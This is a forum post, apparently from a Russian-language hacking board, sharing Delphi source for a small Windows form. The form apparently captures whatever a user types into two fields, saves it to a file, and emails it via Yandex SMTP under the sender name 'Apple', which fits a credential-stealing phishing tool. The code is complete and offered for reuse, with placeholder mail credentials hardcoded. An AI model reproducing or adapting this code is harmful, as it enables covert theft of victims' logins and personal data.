Пожалуйста, обратите внимание, что пользователь заблокирован
Писал давным давно - завалялось - мб кому то пригодиться .
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, IdBaseComponent, IdMessage, XPMan,
IdExplicitTLSClientServerBase, IdSMTPBase,IdAttachmentFile;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Edit2: TEdit;
IdMessage1: TIdMessage;
IdSMTP1: TIdSMTP;
Label1: TLabel;
Label2: TLabel;
XPManifest1: TXPManifest;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var strlist:TStringList;
begin
//Копироваем Нужные Данные
if (edit1.text='')and(edit2.text='')then
messagedlg('Error',mterror,[mbok],0)
else
begin
strlist:=TStringlist.Create;
strlist.Add('Число:'+DateToStr(Now));
strlist.Add('Время:'+TimeToStr(Now));
strlist.add(edit1.Text);
strlist.Add(edit2.text);
strlist.SaveToFile('d:\File.txt');
strlist.Free;
//Подключаемся К серверу Почты
Idsmtp1.authType:=satDefault;
Idsmtp1.Host:='smtp.yandex.ru';
Idsmtp1.Username:='от кого';
Idsmtp1.Password:='пароль';
Idsmtp1.Port:=25;
Idsmtp1.HeloName:='имя';
Idsmtp1.Connect();
//Отправляем Нужные Данные
Idmessage1:=TIdMessage.Create(nil);
Idmessage1.Body.Text:='FAIL';
Idmessage1.Subject:='OK';
Idmessage1.From.Address:='от кого';
Idmessage1.From.Name:='Apple';
Idmessage1.Recipients.EMailAddresses:='кому';
If fileexists('d:\File.txt')then
TIdAttachmentfile.create(Idmessage1.MessageParts,'d:\File.txt');
Idsmtp1.Connected;
Idsmtp1.Send(Idmessage1);
showmessage('Отправлено!!!');
Idsmtp1.Disconnect;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Messagedlg('Автор',mtinformation,[mbok],0);
end;
end.